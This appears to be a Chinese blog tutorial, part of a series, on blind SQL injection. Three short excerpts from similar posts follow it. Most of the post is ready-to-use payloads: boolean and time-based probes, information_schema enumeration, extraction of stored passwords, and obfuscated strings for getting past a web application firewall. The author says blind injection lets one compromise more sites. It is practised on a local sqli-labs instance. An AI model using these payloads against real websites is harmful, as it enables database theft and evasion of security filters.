sql注入雜談(三) 盲注

2022-05-25 08:36:07 字數 2605 閱讀 6406

前面2章已經講過了union select 以及報錯注入的語法以及簡單的繞狗方法,現在我來談談我對於盲注的看法,網上把盲注的種類分了幾種,我在這裡就不分了,我就把我自己目前掌握的方法都記錄下來,繞狗的一些心得。順帶一提,其實我的盲注其實是很菜的,但是盲注確是很厲害的,因為能union select注入和報錯注入的**,肯定能盲注,但是盲注的**不一定能用union select以及報錯注入拿下,意思就是掌握盲注其實能日的站要廣一些。

首先講講盲注一些基礎的東西,其實我們才學sql注入有的講師將盲注,就會講一些很基本的函式,比如left ,length,substr等,盲注函式三劍客。但是只掌握這3個函式,對於我們盲注來說,只能玩玩sqli-labs,其實盲注配合burpsuit基於fuzz看長度來做,為提高很高的效率,不說p話了。

and length(database())=8%23--+     //我們用這個來看看**當前資料庫的長度。如果有waf,一套組合拳

127.0.0.1/sql/less-1/?id=1' %0b/*!%26%26*/%0b!!!%23%0alength(database/**/(/**/))=8%23--+      //看資料庫的長度

然後同樣的left函式我們也可以這樣繞過

接下來我就講講substr這個函式,以及怎麼樣繞過

and substr((select database()),3,1)='c' --+     //遍歷3得到資料庫的名字,security

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+      //得到表   紅色的為第乙個表的第二字字母,紫色的為第幾個表

and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^password' limit 0,1)--+    //檢視users表裡的字段,password也可以換成username

and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68--+     //爆破user表裡的password的字段,紅色的為dumb,紫色的為i-kill-you

關於繞狗的幾點建議

1.我們首先也可以大小寫繞過 substr這樣

2.函式替代,其實我們的sunstr = substring

3.利用內聯注釋

4.反引號

5.特殊符號

6.增加函式

and ifnull((substr((select database()),1,1)='s'),0) --+     //增加乙個infull函式

and strcmp((substr((select database()),3,1)='c'),1)--+      //增加乙個strcmp函式

and 0=strcmp((substr((select user()),2,1)='o'),0)--+     //這是對於strcmp函式的變形

接下來看繞狗的payload:%0b/*!%26%26*/%0b!!!%23%0a ascii(substring((select table_name from (`information_schema`./**/tables) where table_schema=database/**/(/**/) limit 0,1),2,1))>103--+

然後是case when來繞過

and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end--+    //用when case繞過

%0b/*!50000|*/%0b!!!/*!case*/%23--hex()%0awhen (substring((select user/**/(/**/)),1,1)="r") then sleep(3) else 1 end/*!13440*/--+    //這裡就不截圖了,但是回顯的時間正確的明顯比錯誤的常

利用if來繞過

and if(ascii(length(database()))=56,1,sleep(5))--+      //繞過的payload如上面所演示

基於這一類,我們可以結合burpsuit,就不用等回顯,我們直接看長度

繞過的方法也如上

因為我的盲注也很弱,所以基於繞過盲注的方法也只有這麼一點,但是我還是希望這幾篇文章能夠幫到一些剛剛學習sql注入的朋友,文章如有錯誤,還請各位看官斧正

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

SQL注入 盲注

遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...